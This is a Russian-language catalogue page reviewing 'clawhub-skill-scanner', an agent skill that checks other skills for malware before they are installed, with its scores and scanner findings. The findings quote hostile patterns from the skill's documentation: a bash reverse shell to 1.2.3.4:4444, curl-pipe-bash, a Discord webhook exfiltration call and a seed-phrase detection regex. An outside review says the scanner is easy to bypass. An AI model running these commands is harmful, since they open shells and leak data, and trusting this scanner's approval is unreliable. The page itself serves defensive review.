SKILLEMALL.ai

AD clawhub-skill-scanner

Защитник при установке навыков. ОБЯЗАТЕЛЬНО перед установкой любого навыка из ClawHub, GitHub или внешних источников. Выполняет глубокий анализ кода для обнаружения вредоносных шаблонов, доступа к учетным данным, утечки данных, внедрения команд и других рисков безопасности. Триггеры: "install skill", "clawhub install", "new skill", "add skill", "skill from". Всегда запускайте это ДО установки.

машинный переводПоказать оригиналСкрыть оригинал«Security gatekeeper for skill installations. MANDATORY before installi…»

Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: "install skill", "clawhub install", "new skill", "add skill", "skill from". Always run this BEFORE installation.

ClawHub Agent Skills автор: amir-ag v0.1.0 5 файлов тело ≈ 911 токенов Открыть источникclawhub.ai проанализирован 3 дн назад

Защитник при установке навыков.

Как процесс D 43/100 · Процесс не доведён — слабые места: результат и критерий готовности, когда включается, входы и предусловия

АнализаторGitHubИнфраструктураРазработкатип и темы размечены автоматически по тексту скилла
JSON
Технический рейтинг
A
91/100
безопасность, качество, тесты
Безопасность 60%
88
Качество 40%
96
Прогон на моделях
не было
Процессный рейтинг
D
43/100
Процесс не доведён
Результат и критерий готовности вес 14
0
Входы и предусловия вес 11
0
Ошибки и развилки вес 10
0
три самых слабых из десяти параметров · все десять

Как улучшить

    Для прогона на моделях — необязательно
    • Свои кейсы (evals/evals.json, 4–6 реальных запросов с ожидаемыми ответами): тогда полная проверка прогонит именно их, а не черновик от модели.
    • spec.yaml с триггерными фразами и утверждениями — контракт поведения для CI; `skilltest init` создаст шаблон.

    Находки guard · 12

    ✓ Критических и высоких находок нет

    Средние и низкие: 12
    • низкая Опасные команды cmd-pipe-to-shell README.md:39
      Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (строка таблицы в документации; документация security-скилла)
      | **Curl-Pipe-Bash** | `curl \| bash`, `wget && chmod +x` |
      таблицаsecurity-скилл
    • низкая Утечка данных exfil-webhook-url README.md:77
      URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес) (значение-заглушка)
      Code: requests.post('https://discord.com/api/webhooks/...')
      заглушка
    • низкая Рискованное назначение intent-offensive-security references/threat-patterns.md:13
      Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)
      | `bash -i /dev/tcp` | `bash -i >& /dev/tcp/1.2.3.4/4444 0>&1` | Bash reverse shell |
    • низкая Рискованное назначение intent-offensive-security references/threat-patterns.md:36
      Наступательная безопасность / двойное назначение (допустимо для авторизованного тестирования; проверьте назначение)
      - **glot.io** — Code hosting, used for payload delivery
    • низкая Опасные команды cmd-background-process references/threat-patterns.md:47
      Запуск фонового / автозапускаемого процесса (строка таблицы в документации; документация security-скилла)
      | `systemctl enable` | Systemd service |
      таблицаsecurity-скилл
    • низкая Рискованное назначение intent-wallet-secrets scripts/scan_skill.py:94
      Работает с секретами криптокошелька (сид-фраза / приватный ключ) — классическая цель стилеров (определение детектора / чёрного списка)
      r'seed\s*phrase|mnemonic': 'Seed phrase reference',
      детектор
    • низкая Опасные команды cmd-pipe-to-shell SKILL.md:44
      Скачивание и запуск удалённого кода с неизвестного хоста (pipe в shell) (строка таблицы в документации; документация security-скилла)
      | **Curl-Pipe-Bash** | `curl \| bash`, `wget && chmod +x` |
      таблицаsecurity-скилл
    • низкая Утечка данных exfil-webhook-url SKILL.md:98
      URL вебхука / коллбэка, типичный для эксфильтрации (проверьте адрес) (значение-заглушка)
      Code: requests.post('https://discord.com/api/webhooks/...')
      заглушка

    Ещё 4 совпадений отнесены к цитатам в документации скилла по безопасности и не считаются находками.

    Просканировано файлов: 5. Улики замаскированы. Пометки в серых чипах объясняют, почему серьёзность понижена.

    По спецификации Agent Skills

    ✓ По спецификации Agent Skills замечаний нет

    Процессный рейтинг: все десять параметров 43/100

    • 0Результат и критерий готовности. Не сказано, что считать результатом
    • 0Входы и предусловия. Не сказано, что нужно иметь на входе
    • 0Ошибки и развилки. Линейный процесс без обработки сбоев
    • 0Отчётность по ходу. Скилл ничего не сообщает по ходу работы
    • 20Когда включается. Не сказано, при каком запросе скилл включается
    • 30Повторный запуск. Изменяющих операций: 1, без проверки текущего состояния
    • 60Инструменты и файлы. Используются инструменты (bash, web, python), но во frontmatter они не объявлены
    • 100Шаги. Шагов: 12
    • 100Согласованность. Имя и обязательные поля на месте
    • 100Стоимость исполнения. Тело инструкции 911 токенов

    Всё перечисленное измерено по тексту скилла, а не оценено моделью: цифры проверяемы. Вес параметра тем больше, чем чаще из-за него процесс встаёт.

    Сигналы качества

    • +4Описание не говорит, когда скилл НЕ применять (ложные срабатывания)
    • +3Формат ответа не описан: модель каждый раз решает сама
    • +1Лицензия не указана
    • +2Инструкции на одном языке
    • +5В description 5 примера фраз-триггеров в кавычках
    • +3Длина description 389 символов: достаточно сигнала, не съедает бюджет
    • +4Структура: 12 заголовков
    • +3Пошаговые инструкции: 12 пунктов
    • +4Есть примеры (4 блоков кода)
    • +4Справочные файлы упоминаются в инструкциях (1 из 1)
    • +3Все 1 скриптов описаны в инструкциях

    База качества 70; замечания lint вычитаются, сигналы прибавляют до 100. Итог: 96.

    Внешние проверки

    ClawHub: suspicious
    This is a coherent local skill scanner, but it gives automatic approval/install guidance while its own scanning logic is easy to bypass.
    LLM: suspicious (high) · VirusTotal: benign · 10 сент. 2026 г.